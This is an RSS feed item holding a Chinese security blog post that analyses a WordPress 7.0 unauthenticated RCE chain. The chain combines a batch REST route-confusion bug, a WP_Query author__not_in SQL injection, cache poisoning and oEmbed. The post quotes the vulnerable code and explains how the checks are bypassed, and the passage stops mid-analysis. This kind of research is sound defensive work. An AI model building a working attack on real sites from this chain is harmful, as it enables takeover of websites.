<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>LR的安全自留地</title>
    <link>https://wechat2rss.xlab.app/feed/629b8dab22be680d1ae8b1b0e597043a7d0757b7.xml</link>
    <description>LoRexxar自运营公众号，分享Web安全、白盒代码审计、SDL、DevSecOps相关知识，不定时分享各种小故事~&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (LR的安全自留地)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM6k5iaXWWU3jiacicQ42oh2j66BC1ibKw5vLqAiclZxr2u1uKw/0</url>
      <title>LR的安全自留地</title>
      <link>https://wechat2rss.xlab.app/feed/629b8dab22be680d1ae8b1b0e597043a7d0757b7.xml</link>
    </image>
    <item>
      <title>Wordpress7.0 wp2shell 未授权RCE（CVE-2026-63030 / CVE-2026-60137）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484346&amp;idx=1&amp;sn=749018d8cbde606a72975d9cdadd6915</link>
      <description>2026年了，在AI时代下总感觉什么都有可能，但是看到Wordpress居然能有原生未授权RCE还是感觉不可思议</description>
      <content:encoded><![CDATA[<p>原创 <span>LoRexxar</span> <span>2026-07-24 15:59</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1e7237cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FgIBYXIMwxtsw3qOEqhQeJq1hdXWZDlXkyS6kseew47vg1ZOmZiaOqwdsPPO830BeACMUBKTcE4PequrveibXB5JJSkxRgxhLVmM7ic2VCCO9yk%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <ne-clipboard source="https%3A%2F%2Fwww.yuque.com%2Florexxar%2Fmdko6t%2Ffnkrxz7rnxmrgi9l" data-pm-slice="0 0 []"></ne-clipboard><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 2em;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">2026年了，在AI时代下总感觉什么都有可能，但是看到Wordpress居然能有原生未授权RCE还是感觉不可思议。Wordpress算是我曾经深度研究过的php源码之一，虽然wp架构复杂但是开发习惯很好，封装也比较严格，尤其是对权限的分割都做得很好，在5.0之后我一直认为wp不太可能出未授权的大漏洞了。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 2em;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">但很快，这个漏洞的挖掘者通过两个漏洞的组合就实现了这不可思议的一幕。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">据说作者用AI完成了这个漏洞挖掘，并获得了50w刀的赏金。</span></span></span></p><ul style="margin: 0;padding-left: 23px;" class="list-paddingleft-1"><li><span><span leaf=""><span textstyle="" style="font-size: 16px;"><a href="https://bugbunny.ai/blog/wordpress-7-0-2-rce-deep-dive" target="_blank">https://bugbunny.ai/blog/wordpress-7-0-2-rce-deep-dive</a></span><a class="wx_topic_link" topic-id="mryn932w-lwzoav" style="color: #576B95 !important;" data-topic="1" data-recommend=""></a><span textstyle="" style="font-size: 16px;">#three</span><span textstyle="" style="font-size: 16px;">-fixes-for-three-broken-assumptions</span></span></span></li><li><span><span leaf=""><span textstyle="" style="font-size: 16px;">影响版本：WordPress 6.9.0~6.9.4、7.0.0~7.0.1</span></span></span></li></ul><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">接下来我们就古法分析一下这个漏洞具体是怎么回事。</span></span></span></p><h1 style="font-size: 28px;line-height: 1.75em;margin: 8px 0px;text-indent: 0px;text-align: left;"><span><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">漏洞组合拳？</span></span></span></h1><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">这次的漏洞严格意义上并不是以RCE为目的的漏洞，一共有三个组成，其中两个分配了CVE</span></span></span></p><ul style="margin: 0;padding-left: 23px;" class="list-paddingleft-1"><li><strong><span><span leaf=""><span textstyle="" style="font-size: 16px;">CVE-2026-63030</span></span></span></strong><span><span leaf=""><span textstyle="" style="font-size: 16px;">：REST API 批量请求路由混淆漏洞</span></span></span></li><li><strong><span><span leaf=""><span textstyle="" style="font-size: 16px;">CVE-2026-60137</span></span></span></strong><span><span leaf=""><span textstyle="" style="font-size: 16px;">：</span></span></span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">WP_Query</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;"> 的 </span></span></span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">author__not_in</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;"> SQL 注入漏洞</span></span></span></li><li><span><span leaf=""><span textstyle="" style="font-size: 16px;">REST重入漏洞，导致管理员权限绕过，这个漏洞没有被分配CVE，但是修复了</span></span></span></li></ul><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">而这三个漏洞能够最终构成RCE，有一个很大的原因就是，wp对超级管理员的权限给的很高，在超级管理员的后台你可以轻松的实现RCE利用。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">所以与其说我们要在wp中寻找RCE，不如说我们的目标是找到如何进入后台的方法。</span></span></span></p><h2 style="font-size: 24px;line-height: 1.75em;margin: 8px 0px;text-indent: 0px;text-align: left;"><strong><span><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">CVE-2026-63030 </span></span></span></strong><span><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">REST API 批量请求路由混淆漏洞</span></span></span></h2><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">WordPress 的 </span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span style="background-color: rgb(243, 244, 244);"><span leaf=""><span textstyle="" style="font-size: 16px;">WP_REST_Server::serve_batch_request_v1()</span></span></span></code></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">处理 </span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span style="background-color: rgb(243, 244, 244);"><span leaf=""><span textstyle="" style="font-size: 16px;">/wp-json/batch/v1</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;"> 批量请求时，内部维护了两个数组：</span></span></span></p><ul style="margin: 0;padding-left: 23px;" class="list-paddingleft-1"><li><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span style="background-color: rgb(243, 244, 244);"><span leaf=""><span textstyle="" style="font-size: 16px;">$validation</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;">：存储每个子请求的验证结果</span></span></span></li><li><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span style="background-color: rgb(243, 244, 244);"><span leaf=""><span textstyle="" style="font-size: 16px;">$matches</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;">：存储每个子请求匹配到的路由</span></span></span></li></ul><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">当某个子请求验证失败，错误就会写入</span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">$validation</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;"> ，但是不会写入</span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">$matches</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;">。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">这就导致这两个数组的偏移会不一致</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">foreach ( $requests as $single_request ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    if ( is_wp_error( $single_request ) ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        $has_error    = true;</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        $validation[] = $single_request;  // 错误对象推入 $validation 数组</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        continue; // BUG: 未向 $matches 数组推入对应条目，导致索引偏移</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    $match     = $this-&gt;match_request_to_handler( $single_request );</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    $matches[] = $match;  // 仅成功请求推入 $matches 数组</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    // ...</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">这样一来，攻击者就可以构造多次请求，先触发</span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">is_wp_error</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;">验证触发错误跳过，然后相应请求的参数就会被写入到match。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">下一次请求重新读取match，由于match多了一个元素，偏移变了，会直接读取上一次的请求参数，就可以把恶意参数绕过检查直接代入到请求中。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;font-weight: bold;">听起来好像不知道具体有什么用？</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">那首先你要知道这个接口具体是干嘛的，为什么需要通过这种方式绕过。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">WordPress 的 </span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">/wp-json/batch/v1</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;"> 是一个</span></span></span><strong><span><span leaf=""><span textstyle="" style="font-size: 16px;">合法的批量请求接口</span></span></span></strong></p><pre data-language="json" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">// 一次 HTTP 请求里打包多个 REST API 调用</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">POST /wp-json/batch/v1</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">{</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">  &#34;requests&#34;: [</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    {&#34;path&#34;: &#34;/wp/v2/posts/1&#34;, &#34;method&#34;: &#34;GET&#34;},</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    {&#34;path&#34;: &#34;/wp/v2/posts/2&#34;, &#34;method&#34;: &#34;GET&#34;},</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    {&#34;path&#34;: &#34;/wp/v2/users/me&#34;, &#34;method&#34;: &#34;GET&#34;}</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">  ],</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">  &#34;validation&#34;: &#34;require-all-validate&#34;</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">比如说编辑器保存文章，点击保存，需要同时更新文章，修改分类，上传文件，通过这个接口就可以用一次请求触发多次请求完成目标。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">由于这个接口本身就是前端功能之一，所以本身没有鉴权，所以第一步触发就不需要任何权限。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">当然这不意味着通过这个接口就可以越权发起后台请求，因为你发送的每一条path，都会独立执行一遍路由匹配，权限检查，参数检查，然后才会发起请求。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">在正常的流程中，后续会对参数做校验和检查</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">if ( ! $error ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    $check_required = $single_request-&gt;has_valid_params();   </span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">// 类型检查</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    if ( is_wp_error( $check_required ) ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        $error = $check_required;</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">if ( ! $error ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    $check_sanitized = $single_request-&gt;sanitize_params();   </span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">而通过这个漏洞，match获取和实际的参数不一致，在校验参数的时候就无法对应获取参数内容做检查，就绕过了参数过滤和限制。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">总的来说，</span></span></span><strong><span><span leaf=""><span textstyle="" style="font-size: 16px;">CVE-2026-63030</span></span></span></strong><span><span leaf=""><span textstyle="" style="font-size: 16px;">，</span></span></span><span><span leaf=""><span textstyle="" style="font-size: 16px;">REST API的路由混淆其实较真的话只能算一个bug，因为它并不能直接造成危害，但却是难得的漏洞入口。</span></span></span></p><h1 style="font-size: 28px;line-height: 1.75em;margin: 8px 0px;text-indent: 0px;text-align: left;"><span><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">CVE-2026-60137：WP_Query SQL 注入</span></span></span></h1><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">WP_Query</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;"> 的 </span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">author__not_in</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;"> 参数</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">如果为数组，则会遍历每个元素，并使用absint做处理，转为整数。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">如果为字符串，则会直接被拼接到SQL语句当中</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">//wp-includes/class-wp-query.php  2399–2405</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">if ( ! empty( $query_vars[&#39;author__not_in&#39;] ) ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    if ( is_array( $query_vars[&#39;author__not_in&#39;] ) ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        $query_vars[&#39;author__not_in&#39;] = array_unique( array_map( &#39;absint&#39;, $query_vars[&#39;author__not_in&#39;] ) );</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        sort( $query_vars[&#39;author__not_in&#39;] );</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    // BUG: 当值为标量（非数组）时，跳过 absint() 消毒，直接拼接进 SQL</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    $author__not_in = implode( &#39;,&#39;, (array) $query_vars[&#39;author__not_in&#39;] );</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    $where         .= &#34; AND {$wpdb-&gt;posts}.post_author NOT IN ($author__not_in) &#34;;</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;font-weight: bold;">这个漏洞非常简单粗暴，但是为什么无法利用呢？</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">因为你直接请求</span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">WP_Query</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;">注入，Rest请求走到参数检查的位置会触发检查和过滤，这也是我在开篇提到过的，为什么wp很难出高危漏洞，就是因为wp的编码习惯和全局安全处理做的非常好。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">就比如这里正常的请求逻辑中，我们需要注入的参数</span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">author__not_in</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;">，在参数的类型定义中要求必须是数组，也就无法绕过后续的逻辑</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">// class-wp-rest-request.php</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">// schema 定义:</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">&#39;author_exclude&#39; =&gt; [</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    &#39;description&#39; =&gt; &#39;排除指定作者的文章&#39;,</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    &#39;type&#39;        =&gt; &#39;array&#39;,          // ← 要求是数组</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    &#39;items&#39;       =&gt; [</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">        &#39;type&#39; =&gt; &#39;integer&#39;,           // ← 每项要求是整数</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    ],</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    &#39;default&#39;     =&gt; [],</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">]</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">那么我们必须使用前面的路由混淆漏洞，避免对于参数类型检查，就可以成功实现字符串的拼接输入。</span></span></span></p><h1 style="font-size: 28px;line-height: 1.75em;margin: 8px 0px;text-indent: 0px;text-align: left;"><span><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">接下来呢？</span></span></span></h1><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">前面说了，路由混淆漏洞本质上来说其实算一个bug，毕竟他不能提高你的权限。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">绕过了参数检查之后，顺利触发了</span></span></span><span><span leaf=""><span textstyle="" style="font-size: 16px;">WP_Query的SQL注入漏洞。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">但是问题依旧没有完全解决，SQL注入如何让我们获取超级管理员权限呢？毕竟union不能内联insert插入数据，仅仅靠查询语句无法真正进入后台。那么就需要一些更复杂的Wordpress特性了。</span></span></span></p><ul style="margin: 0;padding-left: 23px;" class="list-paddingleft-1"><li style="font-weight:bold;font-size:18px;"><span><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">Wordpress缓存污染</span></span></span></li></ul><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">WP_Query</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;"> 将数据库查询结果行转换为 </span></span></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">WP_Post</span></span></span></code><span><span leaf=""><span textstyle="" style="font-size: 16px;"> 对象，并触发 WordPress 的请求本地对象缓存机制。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">也就是说，其实我们并不是需要通过SQL注入来获取数据的什么内容。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">而是通过SQL注入来控制数据库的返回</span></span></span></p><pre data-language="javascript" style="border: 1px solid rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);text-indent: 0px;text-align: left;margin-top: 8px;margin-bottom: 8px;line-height: 1.75em;"><code><span leaf=""><span textstyle="" style="font-size: 16px;">// WP_Query 执行完 SQL 后</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">$results = $wpdb-&gt;get_results( $sql );  // SQL 注入影响这里返回什么</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">// 把结果变成 WP_Post 对象，存入内存缓存</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">foreach ( $results as $row ) {</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    $post = new WP_Post( $row );</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">    wp_cache_set( $post-&gt;ID, $post, &#39;posts&#39; );  // ← 写入内存缓存</span></span><br/><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></code></pre><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">但是将内容写入到缓存，又有什么用呢？</span></span></span></p><ul style="margin: 0;padding-left: 23px;" class="list-paddingleft-1"><li style="font-weight:bold;font-size:18px;"><span><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">oEmbed Write Bridge</span></span></span></li></ul><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">oEmbed 是一个</span></span></span><strong><span><span leaf=""><span textstyle="" style="font-size: 16px;">嵌入内容的标准协议</span></span></span></strong><span><span leaf=""><span textstyle="" style="font-size: 16px;">。当你在 WordPress 编辑器里粘贴一个链接，它自动变成可预览的嵌入卡片。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">在编辑文章的时候，当用户输入链接，WordPress 调用 oEmbed API 获取元数据，然后会把对应的内容存入内存，这样下次访问就不用在请求了，而是访问缓存读取对应的内容。</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">那听起来oEmbed应该是一次性请求？</span></span></span></p><p style="margin: 8px 0px;padding: 0px;min-height: 24px;text-indent: 0px;text-align: left;line-height: 1.75em;"><span><span leaf=""><span textstyle="" style="font-size: 16px;">实际上，缓存会过期，就好像你嵌入的网站内容标题封面都会更换，所以oEmbed本身支持缓存刷新机制。</span></span></span></p><pre data-language="javascript" style="border: 1px solid 